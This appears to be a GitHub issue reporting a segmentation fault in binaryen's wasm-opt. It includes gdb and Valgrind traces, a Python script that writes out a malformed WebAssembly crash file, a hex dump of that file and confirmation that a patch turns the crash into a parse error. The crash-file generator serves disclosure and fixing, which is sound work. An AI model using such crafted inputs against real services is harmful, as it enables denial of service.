Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Crash] Segmentation Fault in wasm::HeapType::getKind() const () #7178

Closed
famasoon opened this issue Dec 24, 2024 · 2 comments · Fixed by #7183
Closed

[Crash] Segmentation Fault in wasm::HeapType::getKind() const () #7178

famasoon opened this issue Dec 24, 2024 · 2 comments · Fixed by #7183
Assignees

Comments

@famasoon
Copy link

Hello binaryen team,
I found crash case, so I will share it.

If the DoS vulnerability is acknowledged, would it be possible to assign a CVE number after it has been fixed?

binaryen version

Latest version(2024-12-24 main branch)
commit 6ddacde514af7cc546caa07fede4baa3e429c33c (HEAD -> main, origin/main, origin/HEAD)

binaryen/bin on  main via 🐍 v3.10.12 
❯ ./wasm-opt --version
wasm-opt version 121 (version_121-19-g6ddacde51)

Where it crashed

It looks like crashed in wasm::HeapType::getKind() const ()

binaryen/bin on  main via 🐍 v3.10.12 
❯ gdb -nx -q -batch -ex "run ./poc.wasm" -ex "bt" ./wasm-opt 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7885324 in wasm::HeapType::getKind() const () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#0  0x00007ffff7885324 in wasm::HeapType::getKind() const () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#1  0x00007ffff78853a5 in wasm::HeapType::getSignature() const () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#2  0x00007ffff77e04b6 in wasm::Function::getLocalType(unsigned int) () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#3  0x00007ffff78336a8 in wasm::IRBuilder::makeLocalGet(unsigned int) () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#4  0x00007ffff7803279 in wasm::WasmBinaryReader::readInst() () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#5  0x00007ffff7809574 in wasm::WasmBinaryReader::readExpression() () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#6  0x00007ffff78113bb in wasm::WasmBinaryReader::readGlobals() () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#7  0x00007ffff781c9a8 in wasm::WasmBinaryReader::read() () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#8  0x00007ffff782dc28 in wasm::ModuleReader::readBinaryData(std::vector<char, std::allocator<char> >&, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#9  0x00007ffff782dd5b in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#10 0x00007ffff782f115 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) () from /home/user/work/wasm/binaryen/binaryen/bin/../lib/libbinaryen.so
#11 0x0000555555586c8c in main ()

Valgrind

Valgrind output

binaryen/bin on  main via 🐍 v3.10.12 
❯ valgrind --leak-check=full ./wasm-opt ./poc.wasm > valgrind_output.txt                       
==16758== Memcheck, a memory error detector
==16758== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==16758== Using Valgrind-3.25.0.GIT and LibVEX; rerun with -h for copyright info
==16758== Command: ./wasm-opt ./poc.wasm
==16758== 
==16758== Invalid read of size 8
==16758==    at 0x56E3324: wasm::HeapType::getKind() const (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x56E33A4: wasm::HeapType::getSignature() const (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x563E4B5: wasm::Function::getLocalType(unsigned int) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x56916A7: wasm::IRBuilder::makeLocalGet(unsigned int) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x5661278: wasm::WasmBinaryReader::readInst() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x5667573: wasm::WasmBinaryReader::readExpression() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x566F3BA: wasm::WasmBinaryReader::readGlobals() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x567A9A7: wasm::WasmBinaryReader::read() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x568BC27: wasm::ModuleReader::readBinaryData(std::vector<char, std::allocator<char> >&, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x568BD5A: wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x568D114: wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x13AC8B: main (in /home/user/work/wasm/binaryen/binaryen/bin/wasm-opt)
==16758==  Address 0x38 is not stack'd, malloc'd or (recently) free'd
==16758== 
==16758== 
==16758== Process terminating with default action of signal 11 (SIGSEGV)
==16758==  Access not within mapped region at address 0x38
==16758==    at 0x56E3324: wasm::HeapType::getKind() const (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x56E33A4: wasm::HeapType::getSignature() const (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x563E4B5: wasm::Function::getLocalType(unsigned int) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x56916A7: wasm::IRBuilder::makeLocalGet(unsigned int) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x5661278: wasm::WasmBinaryReader::readInst() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x5667573: wasm::WasmBinaryReader::readExpression() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x566F3BA: wasm::WasmBinaryReader::readGlobals() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x567A9A7: wasm::WasmBinaryReader::read() (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x568BC27: wasm::ModuleReader::readBinaryData(std::vector<char, std::allocator<char> >&, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x568BD5A: wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x568D114: wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) (in /home/user/work/wasm/binaryen/binaryen/lib/libbinaryen.so)
==16758==    by 0x13AC8B: main (in /home/user/work/wasm/binaryen/binaryen/bin/wasm-opt)
==16758==  If you believe this happened as a result of a stack
==16758==  overflow in your program's main thread (unlikely but
==16758==  possible), you can try to increase the size of the
==16758==  main thread stack using the --main-stacksize= flag.
==16758==  The main thread stack size used in this run was 8388608.
==16758== 
==16758== HEAP SUMMARY:
==16758==     in use at exit: 328,357 bytes in 2,463 blocks
==16758==   total heap usage: 4,033 allocs, 1,570 frees, 530,163 bytes allocated
==16758== 
==16758== LEAK SUMMARY:
==16758==    definitely lost: 0 bytes in 0 blocks
==16758==    indirectly lost: 0 bytes in 0 blocks
==16758==      possibly lost: 0 bytes in 0 blocks
==16758==    still reachable: 328,357 bytes in 2,463 blocks
==16758==         suppressed: 0 bytes in 0 blocks
==16758== Reachable blocks (those to which a pointer was found) are not shown.
==16758== To see them, rerun with: --leak-check=full --show-leak-kinds=all
==16758== 
==16758== For lists of detected and suppressed errors, rerun with: -s
==16758== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
[1]    16758 segmentation fault (core dumped)  valgrind --leak-check=full ./wasm-opt ./poc.wasm > valgrind_output.txt

PoC

PoC wasm in this zip file poc.wasm
poc.zip

I will share any additional information if needed!

@famasoon
Copy link
Author

famasoon commented Dec 24, 2024

And create wasm bin Python script

hex_data = (
    "0061736d" +        # magic (4 bytes)
    "01000000" +        # version (4 bytes)
    
    # Type section
    "0113" +            # section code (0x01) and size (19)
    "04" +              # number of types (4)
    "600001" + "7f" +   # type 0: () -> i32
    "600000" +          # type 1: () -> void
    "60017f017f" +      # type 2: (i32) -> i32
    "60027f7f017f" +    # type 3: (i32, i32) -> i32
    
    # Import section
    "028c01" +          # section code (0x02) and size (140)
    "06" +              # number of imports (6)
    "03656e76" +        # env
    "0b672477616b615f6d696e6500" + "00" +  # g$waka_mine
    "03656e76" +        # env
    "0d672477616b615f6f746865727300" + "00" +  # g$waka_others
    "03656e76" +        # env
    "1b6670245f5a3136" + "77616b615f66756e635f746865697273692469690000" +  # fp$_Z16waka_func_theirsi$ii
    "03656e76" +        # env
    "196670245f5a3134" + "77616b615f66756e635f6d696e65692469690000" +  # fp$_Z14waka_func_minei$ii
    "03656e76" +        # env
    "0d5f5f6d656d6f72795f626173650" + "37f0003" +  # __memory_base
    "656e76" +          # env
    "066d656d6f727902" + "0000" +  # memory
    
    # Function section
    "030605" +          # section code (0x03) and size (5)
    "01020003" + "01" + # function types
    
    # Global section 
    "061f" +            # section code (0x06) and size (31)
    "06" +              # number of globals (6)
    "7f0141000b" +      # global 0: i32 const 0
    "7f0141000b" +      # global 1: i32 const 0
    "7f014100002001" + "41000b" +  # global 2: Call HeapType::getKind(), set rdi 0x38
    "7f0041000b" +      # global 3
    "7f0041000b" +      # global 4
    
    # Export section
    "0776" +            # section code (0x07) and size (118)
    "07" +              # number of exports (7)
    "135f5f7761736d5f6170706c795f72656c6f637300" + "04" +  # __wasm_apply_relocs
    "135f5f6f726967696e616c5f6d61696e00" + "06" +  # __original_main
    "0977616b575f6d696e6500" + "05" +  # wakW_mine
    "046d61696e00" + "07" +  # main
    "0c5f5f64736f5f68616e646c6500" + "06" +  # __dso_handle
    "125f5f706f73745f696e7374616e746961746500" + "08" +  # __post_instantiate
    
    # Code section
    "0a4805" +          # section code (0x0a) and size (72)
    "03" +              # number of functions (3)
    "00010b" +          # function 0
    "07002000" + "41016a0b" +  # function 1
    "130023042802" + "002303280200" + "23012302" + "6a6a6a0b" +  # function 2
    
    # Custom section (dylink)
    "0c06" +            # section code (0x0c) and size (6)
    "64796c696e6b" +    # dylink
    "04020000" + "00"   # dylink data
)

hex_data = "".join(hex_data.split())

wasm = bytes.fromhex(hex_data)

print(f"Total bytes: {len(wasm)}")
print("WASM hex dump:")
print(" ".join(f"{b:02x}" for b in wasm))

with open("poc.wasm", "wb") as f:
    f.write(wasm)

@famasoon
Copy link
Author

@mtb0x1 Applying your patch has resolved the segmentation fault!

$ git clone https://github.com/mtb0x1/binaryen/ patchbinaryen 
$ cd patchbinaryen                                            
$ git submodule update --init --recursive
$ cmake .   
$ make
$ cd bin
$ ./wasm-opt ./poc.wasm 
[parse exception: local.get out of scope or bounds (at 0:200)]
Fatal: error parsing wasm (try --debug for more info)
$ ./wasm-opt ./poc.wasm --debug
reading...
reading binary from ./poc.wasm
Loading './poc.wasm'...
[parse exception: local.get out of scope or bounds (at 0:200)]
Fatal: error parsing wasm. here is what we read up to the error:
(module
 (type $0 (func (result i32)))
 (type $1 (func))
 (type $2 (func (param i32) (result i32)))
 (type $3 (func (param i32 i32) (result i32)))
 (import "env" "memory" (memory $mimport$0 0))
 (import "env" "__memory_base" (global $gimport$0 i32))
 (import "env" "g$waka_mine" (func $fimport$0 (result i32)))
 (import "env" "g$waka_others" (func $fimport$1 (result i32)))
 (import "env" "fp$_Z16waka_func_theirsi$ii" (func $fimport$2 (result i32)))
 (import "env" "fp$_Z14waka_func_minei$ii" (func $fimport$3 (result i32)))
 (global $global$0 (mut i32) (i32.const 0))
 (global $global$1 (mut i32) (i32.const 0))
)

Just in case, I’ll dump the PoC using xxd and share its hash value using SHA-256.

$ xxd poc.wasm 
00000000: 0061 736d 0100 0000 0113 0460 0001 7f60  .asm.......`...`
00000010: 0000 6001 7f01 7f60 027f 7f01 7f02 8c01  ..`....`........
00000020: 0603 656e 760b 6724 7761 6b61 5f6d 696e  ..env.g$waka_min
00000030: 6500 0003 656e 760d 6724 7761 6b61 5f6f  e...env.g$waka_o
00000040: 7468 6572 7300 0003 656e 761b 6670 245f  thers...env.fp$_
00000050: 5a31 3677 616b 615f 6675 6e63 5f74 6865  Z16waka_func_the
00000060: 6972 7369 2469 6900 0003 656e 7619 6670  irsi$ii...env.fp
00000070: 245f 5a31 3477 616b 615f 6675 6e63 5f6d  $_Z14waka_func_m
00000080: 696e 6569 2469 6900 0003 656e 760d 5f5f  inei$ii...env.__
00000090: 6d65 6d6f 7279 5f62 6173 6503 7f00 0365  memory_base....e
000000a0: 6e76 066d 656d 6f72 7902 0000 0306 0501  nv.memory.......
000000b0: 0200 0301 061f 067f 0141 000b 7f01 4100  .........A....A.
000000c0: 0b7f 0141 0000 2001 4100 0b7f 0041 000b  ...A.. .A....A..
000000d0: 7f00 4100 0b07 7607 135f 5f77 6173 6d5f  ..A...v..__wasm_
000000e0: 6170 706c 795f 7265 6c6f 6373 0004 135f  apply_relocs..._
000000f0: 5f6f 7269 6769 6e61 6c5f 6d61 696e 0006  _original_main..
00000100: 0977 616b 575f 6d69 6e65 0305 046d 6169  .wakW_mine...mai
00000110: 6e00 070c 5f5f 6473 6f5f 6861 6e64 6c65  n...__dso_handle
00000120: 0306 125f 5f70 6f73 745f 696e 7374 616e  ...__post_instan
00000130: 7469 6174 6500 080a 4805 0300 010b 0700  tiate...H.......
00000140: 2000 4101 6a0b 1300 2304 2802 0023 0328   .A.j...#.(..#.(
00000150: 0200 2301 2302 6a6a 6a0b 1300 2304 2802  ..#.#.jjj...#.(.
00000160: 0023 0328 0200 2301 2302 6a6a 6a0b 1200  .#.(..#.#.jjj...
00000170: 1000 2403 1001 2404 1002 24f8 1003 2402  ..$...$...$...$.
00000180: 0b0b 0a01 0023 000b 042a 0000 0000 0c06  .....#...*......
00000190: 6479 6c69 6e6b 0402 0000 00              dylink.....

$  sha256sum poc.wasm 
bd667dc3c76bfed4d4a3fdfd4f9eb9c5d05e7d3b5486ee271ff358dba33a0e5e  poc.wasm

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants